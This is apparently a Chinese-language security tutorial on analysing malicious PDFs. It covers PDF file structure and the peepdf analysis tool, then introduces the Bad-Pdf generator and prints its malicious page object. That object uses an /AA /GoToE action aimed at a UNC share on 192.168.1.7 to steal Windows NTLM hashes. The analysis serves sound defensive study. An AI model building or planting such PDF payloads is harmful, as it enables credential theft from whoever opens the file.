01
—
PDF介绍
PDF(Portable Document Format,便携式文档结构)是一种文件格式,广泛适用于办公场景下,在针对特定目标投递包含恶意代码的PDF文档,用户只要打开PDF文档就会被攻击, 在分析恶意PDF 之前,首先需要了解一些 PDF 文件结构,PDF文件结构可分为以下几块:
1、header:
pdf文件的第一行,格式如下:
%PDF-1.7
表示当前文件的版本是1.7
2、body:
pdf文件中用到的所有对象,包括文本、图像、音乐、视频、字体、等等,格式如下:
`2 0 obj`` ... `` end obj`
其中省略号部分是pdf规定的对象
3、cross-reference table:
所有pdf对象的引用表,其格式如下:
`xref` `0 5` `0000000000 65535 f` `0000000009 00000 n` `0000000074 00000 n` `0000000120 00000 n` `0000000179 00000 n`
其中,xref是开始标志,表示以下为引用表内容;0 5表示从对象号为0的开始,
连续有5个对象(0、1、2、3、4),分别用5行来表示,每行的前10个数字代表这个对象相对文件头的偏移地址,后面5个数字只有当这个对象被删除的时候才有用,表示这个对象被删除后又被重新生成后的对象号,最后一位f或n表示对象是否被使用(n表示使用,f表示被删除或没有用) 。
4、trailer:
说明文件尾对象开始
`trailer` `<<` `/Size 8` `/Root 1 0 R` `>>` `startxref` `553` `%%EOF`
/Size :这个pdf中总共使用了多少个对象
/Root :这个pdf文件的catalog对象的对象号,这是pdf中最顶层的对象
/startxref: 后面的数字表示cross-reference table的开始位置
%%EOF:文件结束标志
使用十六进制工具打开PDF文件,以0x25 0x50 0x44 0x46开头即证明是pdf文件
02
—
peedf
下载地址:https://github.com/jesparza/peepdf
安装peepdf后,可以使用peepdf file.pdf 命令对PDF文件进行扫描,即可获取有关该文件的信息,peepdf 会分析出用于攻击的可疑对象,如下显示PDF的AcroForm、OpenAction、JS 和 JavaScript信息,同时还指出对象11包含 JavaScript代码。
执行python2 peepdf.py -i pdf路径,此处"-i"将提供一个交互式shell,用于对文件进行其他分析。
peepdf 将自动显示文件中的可疑内容,字段介绍如下:
/Encrypt指明PDF文件是否存在数字水印或者加密。
/Objects是object streams的数量。object streams是一个可以包含其他Object对象的数据流对象。
/OpenAction:打开文件时将执行的操作。
/JS : 一个文本字符串,其中包含触发动作时要执行的 JavaScript 脚本。
/JavaScript:执行 JavaScript 代码。通常恶意的PDF文件都嵌套有JavaScript代码,这里一般都是利用JavaScript的解析漏洞,当然也存在正常的PDF文件里会含有JavaScript代码
/Launch:将启动一个应用程序或打开一个文件。
如上图pdf中有许多包含可疑元素的对象,peedf还识别出了pdf存在漏洞
想要查看每块内容是什么,只需在控制台中输入“object num”并按回车键,将得到如下所示的内容。例如查看JS内容,
/S 描述了 PDF 要执行的操作类型。正如我们所见,它将执行一些 JavaScript
另外peepdf还支持其他功能,可以执行help命令查看,例如metadata,查看pdf的元数据。
03
—
badpdf
下载地址:https://github.com/deepzec/Bad-Pdf
使用badpdf创建的恶意PDF文件可以从windows机器窃取NTLM Hash.
执行命令后会生成一个名为badpdf.pdf的文件,在 Windows 机器上运行生成的badpdf.pdf文件成功获取 NTLM Hash
badpdf.pdf有781字节 , 3个object,不存在加密情况
/Type /Catalog说明该对象的类型为/Catalog,/Pages 2 0 R这里/Pages指的是这个根对象包含的/Pages的目标是对象号为2的对象,2 0 R的意思是对对象2的引用。
/Type /Pages 说明对象的类型为页码,/Count 1说明页码数量为1
/Parent 2 0 R说明其父对象的对象号为2,及Pages对象,/Resources << >>说明该页所要包含的资源,/MediaBox [0 0 612 792]说明页面的显示大小(以像素为单位)
通过bytes命令可以查看pdf的字节内容,如下bytes 0 781可以看到整个pdf的字节内容。
发现恶意代码块,分析如下
`3 0 obj``<< /Type /Page` `/Contents 4 0 R`` ` `/AA <<` `/O <<` `/F (\\\\192.168.1.7\\test)` `/D [ 0 /Fit]` `/S /GoToE` `>>`` ` `>>`` ` `/Parent 2 0 R` `/Resources <<` `/Font <<` `/F1 <<` `/Type /Font` `/Subtype /Type1` `/BaseFont /Helvetica` `>>` `>>` `>>``>>``endobj`
/Contents 4 0 R表示页面内容对象的对象号为4
/Parent 2 0 R表示父对象是2
/AA 表示一个附加的动作,查看pdf时候产生动作执行
/F 表示要打开的文件路径
/S /GoToE表示转到某个嵌入文件,PDF规范允许为GoToE&GoToR条目加载远程内容
/D [ 0 /Fit]表示跳转页Destinations,Destinations定义文档的特定视图,是一个数组对象,[0 /Fit]即显示指定的第0个页面,整个页面缩放到适合窗口水平和垂直长度。如果所需的水平和垂直缩放的倍数不同时,选择两者中较小的一个倍数。简单理解就是显示窗口能显示下整个页面。
恶意代码通过GoToE加载192.168.1.7\\test的内容实现窃取hash。